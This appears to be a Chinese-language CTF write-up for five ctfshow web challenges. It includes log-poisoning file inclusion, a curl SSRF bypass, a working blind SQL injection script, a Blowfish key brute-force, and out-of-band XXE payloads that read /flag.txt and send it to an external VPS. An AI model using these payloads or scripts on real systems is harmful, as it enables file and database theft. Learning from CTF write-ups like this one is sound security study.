Bootstrap

ctfshow(WEB AK赛)

目录

web-观己

web1-观字

web2-观星

web3-观图

web4-观心

过程and分析


web-观己

没啥难的有include 想着伪协议 但是过滤了php 那就是用file为协议读取本地文件 全靠猜

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
        die('error');
    }else{
        include($file);
    }
}else{
    highlight_file(__FILE__);
}
?>

正常情况下 查看应答头是不是服务器是什么 可以尝试使用日志包含 尝试UA注入 日志包含 

U-A日志路径为

apache一般是/var/log/apache/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

这个是nginx那日志位置为/var/log/nginx/access.log

包含日志执行以下phpinfo();

web1-观字

<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

一开始想着过滤了.那就把ip地址转换为十进制数 但是发现还是不行 排查半天发现还过滤了0

在curl中.可以使用中文的。代替能达到一样的效果

知识点

1:curl:curl 是一个命令行工具,用于在终端中发送和接收数据。它可以帮助你从远程服务器下载文件、上传文件、发送 HTTP 请求等。比如,你可以使用 curl 命令下载一个文件、测试网站响应速度、发送 POST 请求来提交表单数据等。它的灵活性和功能丰富使其成为开发人员和系统管理员的重要工具。

2:在url中编码中文使用unicode的方式进行编码

在线url网址编码、解码(ES JSON在线工具)icon-default.png?t=N7T8http://www.esjson.com/urlEncode.html该网站自动将url中的中文符号进行unicode编码(bp 青蛙都不行)

还有一点这题提示的ip是内网哦 你在本地curl是获取不到数据的

web2-观星

经过测试发现

过滤 ' " and union select 空格 order by | and

无过滤 or  & SELect  

过滤了太多 使用盲注

在sql语句中过滤方式绕过

拼接绕过

在sql中 and or | & ^ 可以用来拼接语句 但是and和or 前后必须要用空格 其余可以不用 这道题过滤了| 没过滤 &和^ 使用&要进行编码否则容易报错 因为&在url是参数和参数之间的连接符号 

注意

这道题我手动测试时发现?id=1%261成功?id=1%260不成功 以为行 但在脚本中使用%26就不行

而且通过上一行又发现一件事  后端应该是id的值为整数要不然 ?id=1%260也会成功的

那就使用^进行语句连接 还能对空格进行绕过 

函数绕过

ascii→ord

空格绕过方式

使用括号

逗号绕过方式

在substr中 使用from for

substr(database(),1,1)→substr(database()from(1)for(1))

在if中 使用 case..when..then..else...end

if(substr(database()from(1)for(1))=104,1,0)→

case(substr(database()from(1)for(1)))when(104)then(1)else(0)end

单引号绕过方式

使用十六进制进行替换

=号绕过方式

使用regexp

于是写出脚本

import requests
url="http://5302dd63-808e-462e-8675-be5926a0a3c3.challenge.ctf.show/?id=1^"
flag=""
for i in range(1,50):
    print("i="+str(i))
    for j in range(38,126):
        u="case(ord(substr(database()from({0})for(1))))when({1})then(2)else(3)end".format(i,j)  #库名  web1
        #u="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #表名 flag、page、user
        #u="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #列名 FLAG_COLUMN、flag
        #u="case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #flag字段
        u=url+u
        r=requests.get(u)
        t=r.text
        if("I asked nothing" in t):
            flag+=chr(j)
            print(i)
            print(j)
            print(flag)
            break

web3-观图

查看源码 发现跳转页面

img 标签用于向网页中嵌入图像。img 标签的 src 属性用于指定要显示的图像的 URL 地址。当浏览器解析包含 img 标签的 HTML 代码时,会根据 src 属性指定的 URL 地址加载并显示相应的图像。

访问一下showImage.php 发现源码

<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');//包含一个文件
if(isset($_GET['image'])){//判断是否有参数
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);//该函数用于解密数据 传过来的参数是加密形式的 三个参数第一个为数据 第二个解密方式 第三个key
    if(file_exists($str)){//该函数它会检查路径 $str 所指定的文件或目录是否存在
        header('content-type:image/gif');//用于设置 HTTP 响应头中的 Content-Type
		//这意味着在发送 HTTP 响应时,浏览器会知道接收到的内容是 GIF 格式的图像,并相应地进行处理和显示
        echo file_get_contents($str);//读取图像信息 并输出
    }
}else{
    highlight_file(__FILE__);
}
?>

index页面流程是什么? 使用img标签显示图片src地址为图片地址 图片地址为showImage.php?image=Z6Ilu83MIDw=  showImage.php里面接收一个参数判断是否存在图片然后echo方式输出图片数据 这时浏览器接收数据 将数据以gif形式插入浏览器中

已经提示秘钥加密方式了 虽然有range()函数 但是任意数最大才为32768

那就使用脚本爆破一下Z6Ilu83MIDw=该图像的range()值

这个openssl_decrypt函数需要在php.ini中启用 OpenSSL 扩展 去掉前面分号;即可

<?php
    for($i=0;$i<32768;$i++){
    $key = substr(md5('ctfshow'.$i),3,8);
    $image="Z6Ilu83MIDw=";
    $str = openssl_decrypt($image, 'bf-ecb', $key);
	//加上这个if语句是为了退出循环 已知是一个图像文件 文件名中肯定存在png/jpg/gif
	if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
	print($str." ");
	print($i);
	break;
	}
	}
?>

得到加密1.jpg时使用的秘钥中range()为27347 

已知秘钥的range()为27347那么秘钥也知道了 使用秘钥并且以同样的bf-ecb方式进行加密config.php

<?php
$key =substr(md5('ctfshow'.'27347'),3,8);
$image="config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo $str;

得出加密结果为

传参什么都没有( 因为在源代码中加入了请求头告诉浏览器以gif形式输出数据 导致php内容被当成图片形式输出 从而输出不出来) 看教程使用ctrl+s另存 使用记事本打开 但是不行直接保存html页面了

使用wget clone 下载图片 wget也行 有时间搜搜wget 和 wget clone为什么能下载数据

使用bp查看数据也行 之所以浏览器f12能查看请求头但是不能查看该数据 是因为浏览器已经将数据弄成图片形式 (由于会转换文件类型为gif,所以无法直接看到文件内容) 所以在f12查看响应的数据是看不到的 已经类似乱码了 而bp的数据是最原始的数据

web4-观心

教程是XEE从来没接触过 并且里面的知识点很多不懂 通过这道题 详细解释一下各种原理

源码 提示flag位置

不管那些先点击占卜抓包

第一个包他是访问ip-api.com这个网站是用来获取当前ip的信息的

点开这个网站 自动就获取当前电脑的ip  和数据包返回的内容基本一致  那么就是啥点击占卜 他会先访问这个api啥意思呢 就是 通过这个api先获取当前ip的信息

放包后 第二个数据包 他是访问当前服务器的/api.php问题 通过post提交数据 这个服务器api.php的api估计是存在一些功能 通过提交的数据来应答

请求头重点

X-Requested-With: XMLHttpRequest:

X-Requested-With: XMLHttpRequest 是一个自定义的 HTTP 头部字段。它通常用于标识发起请求的客户端是否使用了 XMLHttpRequest 对象。

XMLHttpRequest 是一种 JavaScript API,用于在后台与服务器进行数据交互。它可以异步地发送 HTTP 请求并接收服务器响应,从而实现无需刷新整个页面的动态内容更新。

当使用 XMLHttpRequest 对象发送请求时,浏览器会自动在请求的 HTTP 头部中添加 X-Requested-With: XMLHttpRequest 字段,并将其值设置为 XMLHttpRequest。这样,服务器就可以通过检查该字段来识别请求是否是由 XMLHttpRequest 对象发起的。

通常,服务器可以利用这个字段来区分普通的页面请求和 Ajax 请求。例如,在处理表单提交时,服务器可以根据 X-Requested-With 来选择返回完整的页面或者只返回指定的数据(如 JSON 或 XML 格式),以满足不同的请求方式。

解释:XMLHttpRequest是一个js的api 这个api里面会有一些功能 通过使用这个api来发送请求后 浏览器知道只返回指定的数据)(如json或xml格式)

其余请求头解释

POST /api.php HTTP/1.1 //发送一个post请求 到/api.php页面
Host: 5df24533-c18e-4728-9c76-54b159d301e4.challenge.ctf.show //访问的位置为
Content-Length: 76  //数据的长度为
Accept: application/json, text/javascript, */*; q=0.01 //接受的格式为
X-Requested-With: XMLHttpRequest //已解释
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0 //浏览器版本 系统版本
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 //发送的类型为url编码的数据
Origin: http://5df24533-c18e-4728-9c76-54b159d301e4.challenge.ctf.show //从哪个页面请求的
Referer: http://5df24533-c18e-4728-9c76-54b159d301e4.challenge.ctf.show/ //从哪个页面跳转过来的
Accept-Encoding: gzip, deflate //接受的编码
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 //接受的语言
Connection: close //不是用长连接

api=http%3A%2F%2Fflash.weather.com.cn%2Fwmaps%2Fxml%2Fcity.xml&city=Shenyang //发送的数据

刚刚说了异步发送请求 这个东西 js的api 也搞不懂是什么原理 那就看一下源代码吧

右键发现有两个js文件 一个是js框架

jQuery 是一个广泛使用的 JavaScript 库

引入了该文件,您就可以使用jQuery库中提供的功能来简化JavaScript代码的编写

简单解释是真么 这个框架里面全是各种函数 各种功能 引入这个库后 直接调用某一个函数 就可以实现功能 其中刚刚提到的ajax请求 就是这个库里面的一个功能

Ajax 技术的关键点包括:

  1. 异步通信:通过使用 XMLHttpRequest 对象(现在通常使用 Fetch API),浏览器可以在不干扰用户体验的情况下向服务器发送请求并接收响应。这意味着网页的其他部分可以继续运行,而不必等待服务器响应。

  2. 数据交换:Ajax 可以通过传输和解析各种格式的数据,如 XML、JSON 或纯文本,来实现与服务器之间的数据交换。这使得网页能够动态地更新内容,提高用户体验。

  3. 动态更新页面:利用 Ajax 技术,网页可以在不刷新整个页面的情况下,根据用户的操作或服务器端数据变化,动态地更新部分页面内容。这带来了更流畅的用户体验和更快的响应速度。

另一个js/common.js就是该页面使用的js脚本文件了 

function jstq(){ //定义一个函数
        var city='';  //变量city为空
        $.ajax({  //提交一个ajax异步请求 虽然内容中是同步请求 但是ajax是异步特性 依旧可以不刷新页面就能获取数据
            type:'GET',  /提交的请求类型为GET
            url:'http://ip-api.com/json/', //访问的url
            async:false, //同步请求
            dataType:'json', //接受的数据类型为json
            success:function(data){ 
              city = data['city']; //如果获取到数据 将数据中的city的值赋值给city
            }
        });
        var ret = ''; //定义ret为空
        $.ajax({//提交一个异步请求
                type: 'POST',//提交一个post请求
                url: 'api.php', //访问位置为当前页面的/api.php
                async : false, //同步请求
                dataType: 'json', //获取的数据为json
                data:{ //两个参数一个是api参数 是一个xml数据 另一个参数为刚刚获取到的city
                        api:'http://flash.weather.com.cn/wmaps/xml/city.xml',
                        city:city
                },
                success: function(data){
                      ret = data['msg']; //将结果中的msg的值赋值给ret
                }
                }); 
        return ret; 返回ret
}

过程and分析

到这先说一下这个过程吧 浏览器使用jQuery库中的Ajax 技术(使用XMLHttpRequest 对象)发起异步请求告诉ip-api.com返回一个json/xml数据 然后将数据中的city参数的值赋值给js中的city变量 然后继续访问服务器的/api.php (能实现特定功能的)提交两个参数 api参数值为一个远程的xml文档 city参数值为刚刚获取到的city 然后把这个数据包转发后浏览器就获取到了一些数据(我把这个包放了也照样能后去数据 估计和这个api/php没啥关系)但是既然参数中存在xml文档 那肯定服务器就能解析这个xml 既然能解析这个xml文档就可以往xxe漏洞去想

这里说一下 在网上的wp的教程中他们的paylaod基本全是有问题的,虽然能获取falg但是就是有问题 写的不规范

我说一下完全正确的

首先在vps上创建test.xml

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
%remote;%int;%send;
]>

继续创建一个test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224:9999?p=%file;'>">

使用vps监听9999端口也可以 

说一下这个payload 中 xml与dtd结合后的 就变为

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224:9999?p=%file;'>">
<!ENTITY &#37; send SYSTEM 'http://49.234.38.224:9999?p=%file;'>
%send;
]>

先说一下声明不会执行 必须调用参数实体后才会执行

先获取dtd文档内容 然后 % file获取到本地的/flag.txt文件内容 并进行base64编码(以后就记住编码就行,不编码容易报错万一内容中存在与xml冲突的符号就不行) 然后通过%send; 按理说他说为了获取dtd文件的 但是更改后 这个地址服务器认为是dtd文件 所以他会访问这个网站,既然访问了vps就能监听到 然后到%file;的时候 他会获取flag文件的内容(刚刚不是获取 是声明)

抓包返回我翻译了 为无法打开流 也就证实他本身就是为了获取dtd文档的 内容的 访问后她是打不开的 所以会有这个正常的报错

其他wp中的payload太垃圾了 我把没用的删除了

payload

test.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
%remote;]>

test.dtd

<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://49.234.38.224/pass=%p1;'>">
%p2;

合起来理解为

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://49.234.38.224/pass=%p1;'>">
<!ENTITY xxe SYSTEM 'http://49.234.38.224/pass=%p1;'>
]>

他这里面有一点错误就是过滤器应该是.- 不应该是-. 恰巧的是必须如果这里出问题 就能获取到flag

这个写的太不规范了 估计是 %p2; 执行了最后一条语句从而可以执行%p1的语句获取内容 恰巧这个时候获取内容报错了然后 就把报错内容输出了 把这个base64的改正确了不行 但是直接用file协议读取可以 报错也是一样的 说是识别不出来url 反正他这个payload吧确实是不规范写的 但是可以引发报错从而把数据带出来

xxe中记住获取本地文件以及向vps发送请求的都在dtd中 xml中获取dtd文件即可 (原因应该是 他在xml中限制了 但是在dtd中没事,估计是这个原因)

;